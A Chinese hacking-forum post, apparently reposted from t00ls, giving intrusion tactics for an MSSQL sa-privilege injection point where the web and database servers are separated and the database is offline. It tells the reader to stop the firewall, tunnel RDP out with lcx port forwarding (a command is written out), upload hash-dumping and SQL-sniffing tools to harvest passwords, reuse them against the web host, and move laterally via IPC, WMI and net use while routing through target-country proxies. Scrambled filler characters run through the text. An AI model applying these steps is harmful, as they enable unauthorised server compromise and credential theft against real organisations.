当你碰到SA的注入点,可以执行命令,但是web与数据库分离,你都会怎么做呢,当数据库不服务器不能连接外网的时候,是不是只想着从web搞呢,这篇文章从t00ls转载过来,希望对大家sa权限的注入点数据库web分离提供一些渗透思路。
* o2 ^' p' B% y) ?: I/ F# i9 n* m( P- P" x: t
. m( i! U7 D& R7 Y# J
5 d# M4 n# P p$ u4 W2 \' SSA点,system权限,可执行命令,web和db分离.DB机器不上网(一般指中马不上线,lcx反弹不出)! `8 q6 J; j# j* v( I& w
4 N8 z; S7 @- @9 u1 K7 Y- B! L
7 E+ K- X+ \* \, Z* f一、DB机有公网IP.( p# X; @7 a( R( u
2 A# X- a, G0 } [- Q1 W1:执行命令把系统防火墙和ip策略停止,netstat -an找到3389端口尝试连接.
! i, |+ S) Z* n# Q1 j8 c* ]
9 x* }9 V6 K$ A4 ]! h) Z
* d3 i- Y( P2 [2:从内往外扫描.把命令行下的s扫描器转成vbs传上DB机器生成exe扫描外网一台做了端口策略的机器.这台外网机器开放所有端口.(可以到网上找这 样的 机器.) 如果扫描结果有开放端口,证明在这台DB机可以把3389转到外面机器.比如扫到80 那就lcx -slave ip 80 127.0.0.1 3389.9 d( ]# u$ j+ o+ [& A1 |
* {" L: Y# @5 X K/ Q
! ~( O/ J D2 u9 M3:尽量多拿密码.用vbs的方法上传gethash,sqlsniffer类的工具.拿到系统和mssql的密 码,数据库表的后台管理员密码,member表的最前几个用户密码.这些密码可以用来测试web后台,web的3389 ftp等.当然事先要对web机器完整扫描一遍. www.2cto.com
8 z6 V' \& \4 R: X! X. |. z7 q& Q2 S7 B. [% m# s/ L
% W/ O$ A: T, |
4,nmap扫描.用nmap扫描web和db机器的1-65535端口.如果发现db机器显示有closed的端口.那恭喜你,你可以lcx -tran 把3389转发到该端口直接登陆.firewalk也有类似功能.但对代理防火墙无用.( B" y( X$ Y- M* [8 G
2 g2 p' G, k$ j1 B9 i0 J
! i, u* U& ?7 @) [1 c7 Z7 w% g6 U5 f. e0 a0 R8 n1 J
二、DB机只有内网IP
, G8 q. r$ U, H& I" w. S2 N; B
" s! m8 v0 K' p) `3 b5 W# ~1:尽量多拿密码来net use到web机器.这个过程需要极大的耐心 , 拿密码尝试登陆web后台等." ^& v6 H# ~- d
+ K% X) X1 {* ]
( ^5 x- J, g; b2 \+ u' x2:停掉防火墙和IP策略再从内往外扫描.
3 [. T7 J: q# G5 O" B3 {; l9 m( Y" H. {
- i# f3 I/ F, R
3: ipconfig /dispalydns如果发现有公网的域名,极大可能是路由做了手脚.机会还是有的.2 |8 k" e9 t" P
* b0 ?: T; o) E( i5 I( A) q
: m4 E, V9 h% }) T4 _4:学会密码规律分析往往会有惊喜.' R) A% Y( |4 ^) M6 |3 P+ ^
. K- Y A- o1 i3 _( N# o$ c8 t; `
5 O, c! X+ m6 @: j" i; y5 h3 o
5,在sa点里执行命令渗透内网,找可上网的机器.isql,ipc共享,wmi等
7 x2 k, ~, U1 P& h' f0 J) [1 Q0 ^( `7 G
# `2 G, V g/ c) D0 r! l+ L有些地区或国家会禁止别的国家连接一些端口,所以拥有目标国代理或VPN是很重要的 |